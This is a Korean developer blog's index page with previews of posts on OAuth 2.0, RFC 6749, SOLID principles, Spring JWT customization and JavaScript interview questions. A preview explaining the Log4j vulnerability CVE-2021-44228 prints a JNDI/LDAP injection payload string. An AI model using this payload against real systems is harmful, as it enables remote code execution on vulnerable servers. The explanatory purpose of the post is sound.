분류 전체보기

    인증방식의 발전과 OAuth 2.0 ( 작성중.. )

    사라진 회원가입 다양한 이유로 새로운 사이트를 이용할 때, 언제나 회원가입이라는 허들을 넘어야 했습니다. 사이트마다 다른 아이디/패스워드 양식, 도로명주소, 전화번호 ... 그 외에도 수 개의 질문들에 답해야 했습니다. 하지만 그 마저도 먼지만큼이라도 실수를 했다면 어김없이 우리는 깨끗이 지워진 화면에서 다시 시작해야 했습니다. 이렇게 수 번씩 회원가입을 시도하다보면, 높은 피로감에 중도 포기를 하기도 하였습니다. 하지만 어느새 부터인가 복잡한 회원가입이 사라지기 사작하고, 그 자리엔 구글같은 인증 서비스 제공자들의 아이콘이 생겼습니다. 그리고 우리는 별도의 회원가입 없이 한번의 아이콘 클릭으로 새로운 서비스를 시작할 수 있게 되었죠. 실로 엄청난 변화입니다. 유저들도 답답한 회원가입을 안해서 좋고, 서..

    SOLID 법칙

    SOLID 원칙이란 객체지향으로 개발할 때 따라야할 5가지 원칙을 뜻하며, 각 원칙 ( SRP, OCP, LSP, ISP, DIP )의 앞글자를 따서 지은 이름입니다. 단일 책임 원칙 ( SRP | Single Responsibility Principle ) 하나의 클래스는 하나의 일만 해야한다는 원칙 클래스가 변경되어야 한다면 단 하나의 이유만 있어야 함을 의미합니다. SRP | AS-IS Shape 리스트받아서 넓이의 합을 계산하고 HTML 으로 출력하는 AreaCalculator 클래스를 만들었다. 출력을 XML이나 JSON으로 출력해야 한다면? class AreaCalculator { private List shapes; public AreaCalculator(List shapes) { this...

    [ Spring Authorization Server ] Access Token ( JWT ) 확장하기

    spring-authorization-server 에서 custom claim 추가하기 @Bean public OAuth2TokenCustomizer customizer() { return context -> { if (context.getTokenType() == OAuth2TokenType.ACCESS_TOKEN) { OAuth2Authorization oAuth2Authorization = context.getAuthorization(); if (oAuth2Authorization != null) { OAuth2AuthorizationRequest authorizationRequest = oAuth2Authorization.getAttribute(OAuth2AuthorizationRequest.cl..

    [ RFC 6749 ] The OAuth 2.0 Authorization Framework 요약

    https://datatracker.ietf.org/doc/html/rfc6749#section-1.3.3 1. Introduction 전통적인 client-server관계에서는 3rd-party에 제한된 리소스를 제공받기 위해, Resource Owner는 credentials ( id, pw등 개인정보 )를 3rd-party에게 공유했다. 하지만 이러한 방식은 하기와 같은 문제점들이 있다. 3rd-party가 받은 credential을 미래에 사용하기 위해 저장할수도 있다 서버가 취약한 비밀번호 인증을 지원해야한다. 3rd-party가 지나치게 광범위한 자원접근 권한을 가지더라도 기간적으로도 제한할 수 없고, 하위 자원에대한 제한도 할수 없다. Resource Owner는 개별적으로 3rd-party..

    OAuth2 Grant 타입

    애플리케이션 ( client application ) : 여기서 클라이언트의 서버를 뜻함. OAuth2 서비스 : 여기서 인증 서버를 뜻함 서비스 : 여기서 OAuth2를 통해 접근 가능한 서비스를 뜻함. 자격증명 ( credential ) : 로그인 정보 ( id, password )등 개인 신상과 관련해 암호화한 정보 패스워드 그랜트 가장 직관적인 그랜트 타입 애플리케이션과 서비스가 서로를 명백하게 신뢰하는 경우에 사용 애플리케이션이 자격증명을 받아 직접 OAuth2 서비스에서 인증 AccessToken을 받기위한 구성요소 : 애플케이션 이름, 시크릿 키, 자격증명 ( credential ) 클라이언트 그랜트 사용자가 없고, 동일한 회사가 두 애플리케이션을 소유할 때 사용 예를 들면, 로그/데이터 분..

    [ Spring Boot ] JWT를 이용한 OAuth2 설정

    OAuth2 구성요소 Authorization Server ( 권한 서버 ) Client를 등록하고, 권한을 관리해주는 서버 인증과정 (Authorized Grant Types) , 토큰 방식을 정의 Access Token, Refresh Token 을 발급/재발급 Resource Server OAuth2 서비스를 제공하고 자원을 관리하는 서버 들어오는 OAuth2 토큰 ( Access Token ) 을 통해 자원 ( URL 경로 및 Resource ID ) 요청을 필터링 Client API 서비스 ( Resoruce Server가 제공 )를 이용하는 어플리케이션 또는 서비스 Access Token Authorization Server로 부터 발급 받은 인증 토큰 Resource Server에 전달하여 ..

    [ 이슈거리 ][ CVE-2021-44228 ] log4j 의 취약점을 이용한 공격방법

    Apache Log4j Remote Code Execution 개요 - 12.10 9:40 KST에 Advisory Database에 CVE-2021-44228 에 기재된 보안 취약점. - 아파치 소프트웨어 재단의 log4j 라이브러리에 있는 보안취약점이다. - log4j (2.15.0 미만의 버전 )에서 JNDI API가 메세지로 파싱될때 실행되는 점을 이용한 공격이다. logger.error("${jndi:ldap://127.0.0.1:1389/Exploit}"); // jndi API가 실행된다. 컴퓨터 역사상 최악의 보안 취약점으로 기억 될만큼 파장이 클 것으로 예상된다. https://www.wired.com/story/log4j-flaw-hacking-internet/ ‘The Internet..

    [ Front-End ] Javascript 관련 면접 질문

    Javascript 관련 면접질문 원시타입 6가지 string, number ,boolean ,symbol ,null ,undefined 원시타입은 immutable var str = "123" var sliceStr = str.slice(0,2) console.log(str) //123 console.log(sliceStr) //12 참조타입 원시타입이 아닌 Object 기반의 모든 타입 Object, Function, Array 불변 객체 원복객체를 손상시키지 않고, 복사한 객체를 넘겨주는 방법 var obj = { name: 'arthur' } var cpyObj = Object.assign({}, obj) cpyObj.name = 'youngsoo' console.log(obj.name) // a..